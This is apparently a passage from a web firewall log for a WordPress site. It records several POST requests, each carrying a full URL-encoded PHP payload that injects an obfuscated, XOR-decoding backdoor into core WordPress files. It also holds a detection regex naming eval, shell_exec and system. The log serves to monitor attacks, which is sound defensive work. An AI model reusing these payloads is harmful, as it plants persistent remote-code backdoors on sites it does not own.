lue%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:50:20","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:3724\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:50:29","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Dt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4440\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEUDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nDt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:50:33","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4440\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nJI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:50:46","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 